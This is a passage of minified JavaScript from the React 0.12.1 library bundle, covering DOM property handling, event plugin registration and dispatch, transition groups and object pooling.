i.INSERT_MARKUP:n(a.parentNode,h[a.markupIndex],a.toIndex);break;case i.MOVE_EXISTING:n(a.parentNode,u[a.parentID][a.fromIndex],a.toIndex);break;case i.TEXT_CONTENT:r(a.parentNode,a.textContent);break;case i.REMOVE_NODE:}}};t.exports=c},{"./Danger":14,"./ReactMultiChildUpdateTypes":70,"./getTextContentAccessor":132,"./invariant":137}],12:[function(e,t){"use strict";function n(e,t){return(e&t)===t}var r=e("./invariant"),o={MUST_USE_ATTRIBUTE:1,MUST_USE_PROPERTY:2,HAS_SIDE_EFFECTS:4,HAS_BOOLEAN_VALUE:8,HAS_NUMERIC_VALUE:16,HAS_POSITIVE_NUMERIC_VALUE:48,HAS_OVERLOADED_BOOLEAN_VALUE:64,injectDOMPropertyConfig:function(e){var t=e.Properties||{},i=e.DOMAttributeNames||{},s=e.DOMPropertyNames||{},u=e.DOMMutationMethods||{};e.isCustomAttribute&&a._isCustomAttributeFunctions.push(e.isCustomAttribute);for(var c in t){r(!a.isStandardName.hasOwnProperty(c)),a.isStandardName[c]=!0;var l=c.toLowerCase();if(a.getPossibleStandardName[l]=c,i.hasOwnProperty(c)){var p=i[c];a.getPossibleStandardName[p]=c,a.getAttributeName[c]=p}else a.getAttributeName[c]=l;a.getPropertyName[c]=s.hasOwnProperty(c)?s[c]:c,a.getMutationMethod[c]=u.hasOwnProperty(c)?u[c]:null;var d=t[c];a.mustUseAttribute[c]=n(d,o.MUST_USE_ATTRIBUTE),a.mustUseProperty[c]=n(d,o.MUST_USE_PROPERTY),a.hasSideEffects[c]=n(d,o.HAS_SIDE_EFFECTS),a.hasBooleanValue[c]=n(d,o.HAS_BOOLEAN_VALUE),a.hasNumericValue[c]=n(d,o.HAS_NUMERIC_VALUE),a.hasPositiveNumericValue[c]=n(d,o.HAS_POSITIVE_NUMERIC_VALUE),a.hasOverloadedBooleanValue[c]=n(d,o.HAS_OVERLOADED_BOOLEAN_VALUE),r(!a.mustUseAttribute[c]||!a.mustUseProperty[c]),r(a.mustUseProperty[c]||!a.hasSideEffects[c]),r(!!a.hasBooleanValue[c]+!!a.hasNumericValue[c]+!!a.hasOverloadedBooleanValue[c]<=1)}}},i={},a={ID_ATTRIBUTE_NAME:"data-reactid",isStandardName:{},getPossibleStandardName:{},getAttributeName:{},getPropertyName:{},getMutationMethod:{},mustUseAttribute:{},mustUseProperty:{},hasSideEffects:{},hasBooleanValue:{},hasNumericValue:{},hasPositiveNumericValue:{},hasOverloadedBooleanValue:{},_isCustomAttributeFunctions:[],isCustomAttribute:function(e){for(var t=0;t<a._isCustomAttributeFunctions.length;t++){var n=a._isCustomAttributeFunctions[t];if(n(e))return!0}return!1},getDefaultValueForProperty:function(e,t){var n,r=i[e];return r||(i[e]=r={}),t in r||(n=document.createElement(e),r[t]=n[t]),r[t]},injection:o};t.exports=a},{"./invariant":137}],13:[function(e,t){"use strict";function n(e,t){return null==t||r.hasBooleanValue[e]&&!t||r.hasNumericValue[e]&&isNaN(t)||r.hasPositiveNumericValue[e]&&1>t||r.hasOverloadedBooleanValue[e]&&t===!1}var r=e("./DOMProperty"),o=e("./escapeTextForBrowser"),i=e("./memoizeStringOnly"),a=(e("./warning"),i(function(e){return o(e)+'="'})),s={createMarkupForID:function(e){return a(r.ID_ATTRIBUTE_NAME)+o(e)+'"'},createMarkupForProperty:function(e,t){if(r.isStandardName.hasOwnProperty(e)&&r.isStandardName[e]){if(n(e,t))return"";var i=r.getAttributeName[e];return r.hasBooleanValue[e]||r.hasOverloadedBooleanValue[e]&&t===!0?o(i):a(i)+o(t)+'"'}return r.isCustomAttribute(e)?null==t?"":a(e)+o(t)+'"':null},setValueForProperty:function(e,t,o){if(r.isStandardName.hasOwnProperty(t)&&r.isStandardName[t]){var i=r.getMutationMethod[t];if(i)i(e,o);else if(n(t,o))this.deleteValueForProperty(e,t);else if(r.mustUseAttribute[t])e.setAttribute(r.getAttributeName[t],""+o);else{var a=r.getPropertyName[t];r.hasSideEffects[t]&&""+e[a]==""+o||(e[a]=o)}}else r.isCustomAttribute(t)&&(null==o?e.removeAttribute(t):e.setAttribute(t,""+o))},deleteValueForProperty:function(e,t){if(r.isStandardName.hasOwnProperty(t)&&r.isStandardName[t]){var n=r.getMutationMethod[t];if(n)n(e,void 0);else if(r.mustUseAttribute[t])e.removeAttribute(r.getAttributeName[t]);else{var o=r.getPropertyName[t],i=r.getDefaultValueForProperty(e.nodeName,o);r.hasSideEffects[t]&&""+e[o]===i||(e[o]=i)}}else r.isCustomAttribute(t)&&e.removeAttribute(t)}};t.exports=s},{"./DOMProperty":12,"./escapeTextForBrowser":120,"./memoizeStringOnly":146,"./warning":155}],14:[function(e,t){"use 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n=o(t,i)[0];e.parentNode.replaceChild(n,e)}};t.exports=l},{"./ExecutionEnvironment":23,"./createNodesFromMarkup":114,"./emptyFunction":118,"./getMarkupWrap":129,"./invariant":137}],15:[function(e,t){"use strict";var n=e("./keyOf"),r=[n({ResponderEventPlugin:null}),n({SimpleEventPlugin:null}),n({TapEventPlugin:null}),n({EnterLeaveEventPlugin:null}),n({ChangeEventPlugin:null}),n({SelectEventPlugin:null}),n({CompositionEventPlugin:null}),n({BeforeInputEventPlugin:null}),n({AnalyticsEventPlugin:null}),n({MobileSafariClickEventPlugin:null})];t.exports=r},{"./keyOf":144}],16:[function(e,t){"use strict";var n=e("./EventConstants"),r=e("./EventPropagators"),o=e("./SyntheticMouseEvent"),i=e("./ReactMount"),a=e("./keyOf"),s=n.topLevelTypes,u=i.getFirstReactDOM,c={mouseEnter:{registrationName:a({onMouseEnter:null}),dependencies:[s.topMouseOut,s.topMouseOver]},mouseLeave:{registrationName:a({onMouseLeave:null}),dependencies:[s.topMouseOut,s.topMouseOver]}},l=[null,null],p={eventTypes:c,extractEvents:function(e,t,n,a){if(e===s.topMouseOver&&(a.relatedTarget||a.fromElement))return null;if(e!==s.topMouseOut&&e!==s.topMouseOver)return null;var p;if(t.window===t)p=t;else{var d=t.ownerDocument;p=d?d.defaultView||d.parentWindow:window}var f,h;if(e===s.topMouseOut?(f=t,h=u(a.relatedTarget||a.toElement)||p):(f=p,h=t),f===h)return null;var m=f?i.getID(f):"",v=h?i.getID(h):"",y=o.getPooled(c.mouseLeave,m,a);y.type="mouseleave",y.target=f,y.relatedTarget=h;var g=o.getPooled(c.mouseEnter,v,a);return g.type="mouseenter",g.target=h,g.relatedTarget=f,r.accumulateEnterLeaveDispatches(y,g,m,v),l[0]=y,l[1]=g,l}};t.exports=p},{"./EventConstants":17,"./EventPropagators":22,"./ReactMount":68,"./SyntheticMouseEvent":100,"./keyOf":144}],17:[function(e,t){"use strict";var n=e("./keyMirror"),r=n({bubbled:null,captured:null}),o=n({topBlur:null,topChange:null,topClick:null,topCompositionEnd:null,topCompositionStart:null,topCompositionUpdate:null,topContextMenu:null,topCopy:null,topCut:null,topDoubleClick:null,topDrag:null,topDragEnd:null,topDragEnter:null,topDragExit:null,topDragLeave:null,topDragOver:null,topDragStart:null,topDrop:null,topError:null,topFocus:null,topInput:null,topKeyDown:null,topKeyPress:null,topKeyUp:null,topLoad:null,topMouseDown:null,topMouseMove:null,topMouseOut:null,topMouseOver:null,topMouseUp:null,topPaste:null,topReset:null,topScroll:null,topSelectionChange:null,topSubmit:null,topTextInput:null,topTouchCancel:null,topTouchEnd:null,topTouchMove:null,topTouchStart:null,topWheel:null}),i={topLevelTypes:o,PropagationPhases:r};t.exports=i},{"./keyMirror":143}],18:[function(e,t){var n=e("./emptyFunction"),r={listen:function(e,t,n){return e.addEventListener?(e.addEventListener(t,n,!1),{remove:function(){e.removeEventListener(t,n,!1)}}):e.attachEvent?(e.attachEvent("on"+t,n),{remove:function(){e.detachEvent("on"+t,n)}}):void 0},capture:function(e,t,r){return e.addEventListener?(e.addEventListener(t,r,!0),{remove:function(){e.removeEventListener(t,r,!0)}}):{remove:n}},registerDefault:function(){}};t.exports=r},{"./emptyFunction":118}],19:[function(e,t){"use strict";var n=e("./EventPluginRegistry"),r=e("./EventPluginUtils"),o=e("./accumulateInto"),i=e("./forEachAccumulated"),a=e("./invariant"),s={},u=null,c=function(e){if(e){var t=r.executeDispatch,o=n.getPluginModuleForEvent(e);o&&o.executeDispatch&&(t=o.executeDispatch),r.executeDispatchesInOrder(e,t),e.isPersistent()||e.constructor.release(e)}},l=null,p={injection:{injectMount:r.injection.injectMount,injectInstanceHandle:function(e){l=e},getInstanceHandle:function(){return l},injectEventPluginOrder:n.injectEventPluginOrder,injectEventPluginsByName:n.injectEventPluginsByName},eventNameDispatchConfigs:n.eventNameDispatchConfigs,registrationNameModules:n.registrationNameModules,putListener:function(e,t,n){a(!n||"function"==typeof n);var r=s[t]||(s[t]={});r[e]=n},getListener:function(e,t){var n=s[t];return n&&n[e]},deleteListener:function(e,t){var n=s[t];n&&delete n[e]},deleteAllListeners:function(e){for(var t in s)delete s[t][e]},extractEvents:function(e,t,r,i){for(var a,s=n.plugins,u=0,c=s.length;c>u;u++){var l=s[u];if(l){var p=l.extractEvents(e,t,r,i);p&&(a=o(a,p))}}return a},enqueueEvents:function(e){e&&(u=o(u,e))},processEventQueue:function(){var e=u;u=null,i(e,c),a(!u)},__purge:function(){s={}},__getListenerBank:function(){return s}};t.exports=p},{"./EventPluginRegistry":20,"./EventPluginUtils":21,"./accumulateInto":106,"./forEachAccumulated":123,"./invariant":137}],20:[function(e,t){"use strict";function n(){if(a)for(var e in s){var t=s[e],n=a.indexOf(e);if(i(n>-1),!u.plugins[n]){i(t.extractEvents),u.plugins[n]=t;var o=t.eventTypes;for(var c in o)i(r(o[c],t,c))}}}function r(e,t,n){i(!u.eventNameDispatchConfigs.hasOwnProperty(n)),u.eventNameDispatchConfigs[n]=e;var r=e.phasedRegistrationNames;if(r){for(var a in r)if(r.hasOwnProperty(a)){var s=r[a];o(s,t,n)}return!0}return e.registrationName?(o(e.registrationName,t,n),!0):!1}function o(e,t,n){i(!u.registrationNameModules[e]),u.registrationNameModules[e]=t,u.registrationNameDependencies[e]=t.eventTypes[n].dependencies}var i=e("./invariant"),a=null,s={},u={plugins:[],eventNameDispatchConfigs:{},registrationNameModules:{},registrationNameDependencies:{},injectEventPluginOrder:function(e){i(!a),a=Array.prototype.slice.call(e),n()},injectEventPluginsByName:function(e){var t=!1;for(var r in e)if(e.hasOwnProperty(r)){var o=e[r];s.hasOwnProperty(r)&&s[r]===o||(i(!s[r]),s[r]=o,t=!0)}t&&n()},getPluginModuleForEvent:function(e){var t=e.dispatchConfig;if(t.registrationName)return u.registrationNameModules[t.registrationName]||null;for(var n in t.phasedRegistrationNames)if(t.phasedRegistrationNames.hasOwnProperty(n)){var r=u.registrationNameModules[t.phasedRegistrationNames[n]];if(r)return r}return null},_resetEventPlugins:function(){a=null;for(var e in s)s.hasOwnProperty(e)&&delete s[e];u.plugins.length=0;var t=u.eventNameDispatchConfigs;for(var n in t)t.hasOwnProperty(n)&&delete t[n];var r=u.registrationNameModules;for(var o in r)r.hasOwnProperty(o)&&delete r[o]}};t.exports=u},{"./invariant":137}],21:[function(e,t){"use strict";function n(e){return e===m.topMouseUp||e===m.topTouchEnd||e===m.topTouchCancel}function r(e){return e===m.topMouseMove||e===m.topTouchMove}function o(e){return e===m.topMouseDown||e===m.topTouchStart}function i(e,t){var n=e._dispatchListeners,r=e._dispatchIDs;if(Array.isArray(n))for(var o=0;o<n.length&&!e.isPropagationStopped();o++)t(e,n[o],r[o]);else n&&t(e,n,r)}function a(e,t,n){e.currentTarget=h.Mount.getNode(n);var r=t(e,n);return e.currentTarget=null,r}function s(e,t){i(e,t),e._dispatchListeners=null,e._dispatchIDs=null}function u(e){var t=e._dispatchListeners,n=e._dispatchIDs;if(Array.isArray(t)){for(var r=0;r<t.length&&!e.isPropagationStopped();r++)if(t[r](e,n[r]))return n[r]}else if(t&&t(e,n))return n;return null}function c(e){var t=u(e);return e._dispatchIDs=null,e._dispatchListeners=null,t}function l(e){var t=e._dispatchListeners,n=e._dispatchIDs;f(!Array.isArray(t));var r=t?t(e,n):null;return e._dispatchListeners=null,e._dispatchIDs=null,r}function p(e){return!!e._dispatchListeners}var d=e("./EventConstants"),f=e("./invariant"),h={Mount:null,injectMount:function(e){h.Mount=e}},m=d.topLevelTypes,v={isEndish:n,isMoveish:r,isStartish:o,executeDirectDispatch:l,executeDispatch:a,executeDispatchesInOrder:s,executeDispatchesInOrderStopAtTrue:c,hasDispatches:p,injection:h,useTouchEvents:!1};t.exports=v},{"./EventConstants":17,"./invariant":137}],22:[function(e,t){"use strict";function n(e,t,n){var r=t.dispatchConfig.phasedRegistrationNames[n];return m(e,r)}function r(e,t,r){var o=t?h.bubbled:h.captured,i=n(e,r,o);i&&(r._dispatchListeners=d(r._dispatchListeners,i),r._dispatchIDs=d(r._dispatchIDs,e))}function o(e){e&&e.dispatchConfig.phasedRegistrationNames&&p.injection.getInstanceHandle().traverseTwoPhase(e.dispatchMarker,r,e)}function i(e,t,n){if(n&&n.dispatchConfig.registrationName){var r=n.dispatchConfig.registrationName,o=m(e,r);o&&(n._dispatchListeners=d(n._dispatchListeners,o),n._dispatchIDs=d(n._dispatchIDs,e))}}function a(e){e&&e.dispatchConfig.registrationName&&i(e.dispatchMarker,null,e)}function s(e){f(e,o)}function u(e,t,n,r){p.injection.getInstanceHandle().traverseEnterLeave(n,r,i,e,t)}function c(e){f(e,a)}var l=e("./EventConstants"),p=e("./EventPluginHub"),d=e("./accumulateInto"),f=e("./forEachAccumulated"),h=l.PropagationPhases,m=p.getListener,v={accumulateTwoPhaseDispatches:s,accumulateDirectDispatches:c,accumulateEnterLeaveDispatches:u};t.exports=v},{"./EventConstants":17,"./EventPluginHub":19,"./accumulateInto":106,"./forEachAccumulated":123}],23:[function(e,t){"use strict";var n=!("undefined"==typeof window||!window.document||!window.document.createElement),r={canUseDOM:n,canUseWorkers:"undefined"!=typeof Worker,canUseEventListeners:n&&!(!window.addEventListener&&!window.attachEvent),canUseViewport:n&&!!window.screen,isInWorker:!n};t.exports=r},{}],24:[function(e,t){"use strict";var n,r=e("./DOMProperty"),o=e("./ExecutionEnvironment"),i=r.injection.MUST_USE_ATTRIBUTE,a=r.injection.MUST_USE_PROPERTY,s=r.injection.HAS_BOOLEAN_VALUE,u=r.injection.HAS_SIDE_EFFECTS,c=r.injection.HAS_NUMERIC_VALUE,l=r.injection.HAS_POSITIVE_NUMERIC_VALUE,p=r.injection.HAS_OVERLOADED_BOOLEAN_VALUE;if(o.canUseDOM){var d=document.implementation;n=d&&d.hasFeature&&d.hasFeature("http://www.w3.org/TR/SVG11/feature#BasicStructure","1.1")}var f={isCustomAttribute:RegExp.prototype.test.bind(/^(data|aria)-[a-z_][a-z\d_.\-]*$/),Properties:{accept:null,acceptCharset:null,accessKey:null,action:null,allowFullScreen:i|s,allowTransparency:i,alt:null,async:s,autoComplete:null,autoPlay:s,cellPadding:null,cellSpacing:null,charSet:i,checked:a|s,classID:i,className:n?i:a,cols:i|l,colSpan:null,content:null,contentEditable:null,contextMenu:i,controls:a|s,coords:null,crossOrigin:null,data:null,dateTime:i,defer:s,dir:null,disabled:i|s,download:p,draggable:null,encType:null,form:i,formNoValidate:s,frameBorder:i,height:i,hidden:i|s,href:null,hrefLang:null,htmlFor:null,httpEquiv:null,icon:null,id:a,label:null,lang:null,list:i,loop:a|s,manifest:i,max:null,maxLength:i,media:i,mediaGroup:null,method:null,min:null,multiple:a|s,muted:a|s,name:null,noValidate:s,open:null,pattern:null,placeholder:null,poster:null,preload:null,radioGroup:null,readOnly:a|s,rel:null,required:s,role:i,rows:i|l,rowSpan:null,sandbox:null,scope:null,scrolling:null,seamless:i|s,selected:a|s,shape:null,size:i|l,sizes:i,span:l,spellCheck:null,src:null,srcDoc:a,srcSet:i,start:c,step:null,style:null,tabIndex:null,target:null,title:null,type:null,useMap:null,value:a|u,width:i,wmode:i,autoCapitalize:null,autoCorrect:null,itemProp:i,itemScope:i|s,itemType:i,property:null},DOMAttributeNames:{acceptCharset:"accept-charset",className:"class",htmlFor:"for",httpEquiv:"http-equiv"},DOMPropertyNames:{autoCapitalize:"autocapitalize",autoComplete:"autocomplete",autoCorrect:"autocorrect",autoFocus:"autofocus",autoPlay:"autoplay",encType:"enctype",hrefLang:"hreflang",radioGroup:"radiogroup",spellCheck:"spellcheck",srcDoc:"srcdoc",srcSet:"srcset"}};t.exports=f},{"./DOMProperty":12,"./ExecutionEnvironment":23}],25:[function(e,t){"use strict";var n=e("./ReactLink"),r=e("./ReactStateSetters"),o={linkState:function(e){return new n(this.state[e],r.createStateKeySetter(this,e))}};t.exports=o},{"./ReactLink":66,"./ReactStateSetters":83}],26:[function(e,t){"use strict";function n(e){u(null==e.props.checkedLink||null==e.props.valueLink)}function r(e){n(e),u(null==e.props.value&&null==e.props.onChange)}function o(e){n(e),u(null==e.props.checked&&null==e.props.onChange)}function i(e){this.props.valueLink.requestChange(e.target.value)}function a(e){this.props.checkedLink.requestChange(e.target.checked)}var s=e("./ReactPropTypes"),u=e("./invariant"),c={button:!0,checkbox:!0,image:!0,hidden:!0,radio:!0,reset:!0,submit:!0},l={Mixin:{propTypes:{value:function(e,t){return!e[t]||c[e.type]||e.onChange||e.readOnly||e.disabled?void 0:new Error("You provided a `value` prop to a form field without an `onChange` handler. This will render a read-only field. If the field should be mutable use `defaultValue`. Otherwise, set either `onChange` or `readOnly`.")},checked:function(e,t){return!e[t]||e.onChange||e.readOnly||e.disabled?void 0:new Error("You provided a `checked` prop to a form field without an `onChange` handler. This will render a read-only field. If the field should be mutable use `defaultChecked`. Otherwise, set either `onChange` or `readOnly`.")},onChange:s.func}},getValue:function(e){return e.props.valueLink?(r(e),e.props.valueLink.value):e.props.value},getChecked:function(e){return e.props.checkedLink?(o(e),e.props.checkedLink.value):e.props.checked},getOnChange:function(e){return e.props.valueLink?(r(e),i):e.props.checkedLink?(o(e),a):e.props.onChange}};t.exports=l},{"./ReactPropTypes":77,"./invariant":137}],27:[function(e,t){"use strict";function n(e){e.remove()}var r=e("./ReactBrowserEventEmitter"),o=e("./accumulateInto"),i=e("./forEachAccumulated"),a=e("./invariant"),s={trapBubbledEvent:function(e,t){a(this.isMounted());var n=r.trapBubbledEvent(e,t,this.getDOMNode());this._localEventListeners=o(this._localEventListeners,n)},componentWillUnmount:function(){this._localEventListeners&&i(this._localEventListeners,n)}};t.exports=s},{"./ReactBrowserEventEmitter":33,"./accumulateInto":106,"./forEachAccumulated":123,"./invariant":137}],28:[function(e,t){"use strict";var n=e("./EventConstants"),r=e("./emptyFunction"),o=n.topLevelTypes,i={eventTypes:null,extractEvents:function(e,t,n,i){if(e===o.topTouchStart){var a=i.target;a&&!a.onclick&&(a.onclick=r)}}};t.exports=i},{"./EventConstants":17,"./emptyFunction":118}],29:[function(e,t){function n(e){if(null==e)throw new TypeError("Object.assign target cannot be null or undefined");for(var t=Object(e),n=Object.prototype.hasOwnProperty,r=1;r<arguments.length;r++){var o=arguments[r];if(null!=o){var i=Object(o);for(var a in i)n.call(i,a)&&(t[a]=i[a])}}return t}t.exports=n},{}],30:[function(e,t){"use strict";var n=e("./invariant"),r=function(e){var t=this;if(t.instancePool.length){var n=t.instancePool.pop();return t.call(n,e),n}return new t(e)},o=function(e,t){var n=this;if(n.instancePool.length){var r=n.instancePool.pop();return n.call(r,e,t),r}return new n(e,t)},i=function(e,t,n){var r=this;if(r.instancePool.length){var o=r.instancePool.pop();return r.call(o,e,t,n),o}return new r(e,t,n)},a=function(e,t,n,r,o){var i=this;if(i.instancePool.length){var a=i.instancePool.pop();return i.call(a,e,t,n,r,o),a}return new i(e,t,n,r,o)},s=function(e){var t=this;n(e instanceof t),e.destructor&&e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},u=10,c=r,l=function(e,t){var n=e;return n.instancePool=[],n.getPooled=t||c,n.poolSize||(n.poolSize=u),n.release=s,n},p={addPoolingTo:l,oneArgumentPooler:r,twoArgumentPooler:o,threeArgumentPooler:i,fiveArgumentPooler:a};t.exports=p},{"./invariant":137}],31:[function(e,t){"use strict";var n=e("./DOMPropertyOperations"),r=e("./EventPluginUtils"),o=e("./ReactChildren"),i=e("./ReactComponent"),a=e("./ReactCompositeComponent"),s=e("./ReactContext"),u=e("./ReactCurrentOwner"),c=e("./ReactElement"),l=(e("./ReactElementValidator"),e("./ReactDOM")),p=e("./ReactDOMComponent"),d=e("./ReactDefaultInjection"),f=e("./ReactInstanceHandles"),h=e("./ReactLegacyElement"),m=e("./ReactMount"),v=e("./ReactMultiChild"),y=e("./ReactPerf"),g=e("./ReactPropTypes"),E=e("./ReactServerRendering"),C=e("./ReactTextComponent"),R=e("./Object.assign"),M=e("./deprecated"),b=e("./onlyChild");
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x=y.measure("React","render",m.render),P={Children:{map:o.map,forEach:o.forEach,count:o.count,only:b},DOM:l,PropTypes:g,initializeTouchEvents:function(e){r.useTouchEvents=e},createClass:a.createClass,createElement:O,createFactory:D,constructAndRenderComponent:m.constructAndRenderComponent,constructAndRenderComponentByID:m.constructAndRenderComponentByID,render:x,renderToString:E.renderToString,renderToStaticMarkup:E.renderToStaticMarkup,unmountComponentAtNode:m.unmountComponentAtNode,isValidClass:h.isValidClass,isValidElement:c.isValidElement,withContext:s.withContext,__spread:R,renderComponent:M("React","renderComponent","render",this,x),renderComponentToString:M("React","renderComponentToString","renderToString",this,E.renderToString),renderComponentToStaticMarkup:M("React","renderComponentToStaticMarkup","renderToStaticMarkup",this,E.renderToStaticMarkup),isValidComponent:M("React","isValidComponent","isValidElement",this,c.isValidElement)};"undefined"!=typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&&"function"==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.inject&&__REACT_DEVTOOLS_GLOBAL_HOOK__.inject({Component:i,CurrentOwner:u,DOMComponent:p,DOMPropertyOperations:n,InstanceHandles:f,Mount:m,MultiChild:v,TextComponent:C});P.version="0.12.1",t.exports=P},{"./DOMPropertyOperations":13,"./EventPluginUtils":21,"./Object.assign":29,"./ReactChildren":36,"./ReactComponent":37,"./ReactCompositeComponent":40,"./ReactContext":41,"./ReactCurrentOwner":42,"./ReactDOM":43,"./ReactDOMComponent":45,"./ReactDefaultInjection":55,"./ReactElement":56,"./ReactElementValidator":57,"./ReactInstanceHandles":64,"./ReactLegacyElement":65,"./ReactMount":68,"./ReactMultiChild":69,"./ReactPerf":73,"./ReactPropTypes":77,"./ReactServerRendering":81,"./ReactTextComponent":84,"./deprecated":117,"./onlyChild":148}],32:[function(e,t){"use strict";var n=e("./ReactEmptyComponent"),r=e("./ReactMount"),o=e("./invariant"),i={getDOMNode:function(){return o(this.isMounted()),n.isNullComponentID(this._rootNodeID)?null:r.getNode(this._rootNodeID)}};t.exports=i},{"./ReactEmptyComponent":58,"./ReactMount":68,"./invariant":137}],33:[function(e,t){"use strict";function n(e){return Object.prototype.hasOwnProperty.call(e,h)||(e[h]=d++,l[e[h]]={}),l[e[h]]}var r=e("./EventConstants"),o=e("./EventPluginHub"),i=e("./EventPluginRegistry"),a=e("./ReactEventEmitterMixin"),s=e("./ViewportMetrics"),u=e("./Object.assign"),c=e("./isEventSupported"),l={},p=!1,d=0,f={topBlur:"blur",topChange:"change",topClick:"click",topCompositionEnd:"compositionend",topCompositionStart:"compositionstart",topCompositionUpdate:"compositionupdate",topContextMenu:"contextmenu",topCopy:"copy",topCut:"cut",topDoubleClick:"dblclick",topDrag:"drag",topDragEnd:"dragend",topDragEnter:"dragenter",topDragExit:"dragexit",topDragLeave:"dragleave",topDragOver:"dragover",topDragStart:"dragstart",topDrop:"drop",topFocus:"focus",topInput:"input",topKeyDown:"keydown",topKeyPress:"keypress",topKeyUp:"keyup",topMouseDown:"mousedown",topMouseMove:"mousemove",topMouseOut:"mouseout",topMouseOver:"mouseover",topMouseUp:"mouseup",topPaste:"paste",topScroll:"scroll",topSelectionChange:"selectionchange",topTextInput:"textInput",topTouchCancel:"touchcancel",topTouchEnd:"touchend",topTouchMove:"touchmove",topTouchStart:"touchstart",topWheel:"wheel"},h="_reactListenersID"+String(Math.random()).slice(2),m=u({},a,{ReactEventListener:null,injection:{injectReactEventListener:function(e){e.setHandleTopLevel(m.handleTopLevel),m.ReactEventListener=e}},setEnabled:function(e){m.ReactEventListener&&m.ReactEventListener.setEnabled(e)},isEnabled:function(){return!(!m.ReactEventListener||!m.ReactEventListener.isEnabled())},listenTo:function(e,t){for(var o=t,a=n(o),s=i.registrationNameDependencies[e],u=r.topLevelTypes,l=0,p=s.length;p>l;l++){var d=s[l];a.hasOwnProperty(d)&&a[d]||(d===u.topWheel?c("wheel")?m.ReactEventListener.trapBubbledEvent(u.topWheel,"wheel",o):c("mousewheel")?m.ReactEventListener.trapBubbledEvent(u.topWheel,"mousewheel",o):m.ReactEventListener.trapBubbledEvent(u.topWheel,"DOMMouseScroll",o):d===u.topScroll?c("scroll",!0)?m.ReactEventListener.trapCapturedEvent(u.topScroll,"scroll",o):m.ReactEventListener.trapBubbledEvent(u.topScroll,"scroll",m.ReactEventListener.WINDOW_HANDLE):d===u.topFocus||d===u.topBlur?(c("focus",!0)?(m.ReactEventListener.trapCapturedEvent(u.topFocus,"focus",o),m.ReactEventListener.trapCapturedEvent(u.topBlur,"blur",o)):c("focusin")&&(m.ReactEventListener.trapBubbledEvent(u.topFocus,"focusin",o),m.ReactEventListener.trapBubbledEvent(u.topBlur,"focusout",o)),a[u.topBlur]=!0,a[u.topFocus]=!0):f.hasOwnProperty(d)&&m.ReactEventListener.trapBubbledEvent(d,f[d],o),a[d]=!0)}},trapBubbledEvent:function(e,t,n){return m.ReactEventListener.trapBubbledEvent(e,t,n)},trapCapturedEvent:function(e,t,n){return m.ReactEventListener.trapCapturedEvent(e,t,n)},ensureScrollValueMonitoring:function(){if(!p){var e=s.refreshScrollValues;m.ReactEventListener.monitorScrollValue(e),p=!0}},eventNameDispatchConfigs:o.eventNameDispatchConfigs,registrationNameModules:o.registrationNameModules,putListener:o.putListener,getListener:o.getListener,deleteListener:o.deleteListener,deleteAllListeners:o.deleteAllListeners});t.exports=m},{"./EventConstants":17,"./EventPluginHub":19,"./EventPluginRegistry":20,"./Object.assign":29,"./ReactEventEmitterMixin":60,"./ViewportMetrics":105,"./isEventSupported":138}],34:[function(e,t){"use strict";var n=e("./React"),r=e("./Object.assign"),o=n.createFactory(e("./ReactTransitionGroup")),i=n.createFactory(e("./ReactCSSTransitionGroupChild")),a=n.createClass({displayName:"ReactCSSTransitionGroup",propTypes:{transitionName:n.PropTypes.string.isRequired,transitionEnter:n.PropTypes.bool,transitionLeave:n.PropTypes.bool},getDefaultProps:function(){return{transitionEnter:!0,transitionLeave:!0}},_wrapChild:function(e){return i({name:this.props.transitionName,enter:this.props.transitionEnter,leave:this.props.transitionLeave},e)},render:function(){return o(r({},this.props,{childFactory:this._wrapChild}))}});t.exports=a},{"./Object.assign":29,"./React":31,"./ReactCSSTransitionGroupChild":35,"./ReactTransitionGroup":87}],35:[function(e,t){"use strict";var n=e("./React"),r=e("./CSSCore"),o=e("./ReactTransitionEvents"),i=e("./onlyChild"),a=17,s=n.createClass({displayName:"ReactCSSTransitionGroupChild",transition:function(e,t){var n=this.getDOMNode(),i=this.props.name+"-"+e,a=i+"-active",s=function(e){e&&e.target!==n||(r.removeClass(n,i),r.removeClass(n,a),o.removeEndEventListener(n,s),t&&t())};o.addEndEventListener(n,s),r.addClass(n,i),this.queueClass(a)},queueClass:function(e){this.classNameQueue.push(e),this.timeout||(this.timeout=setTimeout(this.flushClassNameQueue,a))},flushClassNameQueue:function(){this.isMounted()&&this.classNameQueue.forEach(r.addClass.bind(r,this.getDOMNode())),this.classNameQueue.length=0,this.timeout=null},componentWillMount:function(){this.classNameQueue=[]},componentWillUnmount:function(){this.timeout&&clearTimeout(this.timeout)},componentWillEnter:function(e){this.props.enter?this.transition("enter",e):e()},componentWillLeave:function(e){this.props.leave?this.transition("leave",e):e()},render:function(){return i(this.props.children)}});t.exports=s},{"./CSSCore":4,"./React":31,"./ReactTransitionEvents":86,"./onlyChild":148}],36:[function(e,t){"use strict";function n(e,t){this.forEachFunction=e,this.forEachContext=t}function r(e,t,n,r){var o=e;o.forEachFunction.call(o.forEachContext,t,r)}function o(e,t,o){if(null==e)return e;var i=n.getPooled(t,o);p(e,r,i),n.release(i)}function i(e,t,n){this.mapResult=e,this.mapFunction=t,this.mapContext=n}function a(e,t,n,r){var o=e,i=o.mapResult,a=!i.hasOwnProperty(n);if(a){var s=o.mapFunction.call(o.mapContext,t,r);i[n]=s}}function s(e,t,n){if(null==e)return e;var r={},o=i.getPooled(r,t,n);return p(e,a,o),i.release(o),r}function u(){return null}function c(e){return p(e,u,null)}var l=e("./PooledClass"),p=e("./traverseAllChildren"),d=(e("./warning"),l.twoArgumentPooler),f=l.threeArgumentPooler;l.addPoolingTo(n,d),l.addPoolingTo(i,f);var h={forEach:o,map:s,count:c};t.exports=h},{"./PooledClass":30,"./traverseAllChildren":153,"./warning":155}],37:[function(e,t){"use strict";var n=e("./ReactElement"),r=e("./ReactOwner"),o=e("./ReactUpdates"),i=e("./Object.assign"),a=e("./invariant"),s=e("./keyMirror"),u=s({MOUNTED:null,UNMOUNTED:null}),c=!1,l=null,p=null,d={injection:{injectEnvironment:function(e){a(!c),p=e.mountImageIntoNode,l=e.unmountIDFromEnvironment,d.BackendIDOperations=e.BackendIDOperations,c=!0}},LifeCycle:u,BackendIDOperations:null,Mixin:{isMounted:function(){return this._lifeCycleState===u.MOUNTED},setProps:function(e,t){var 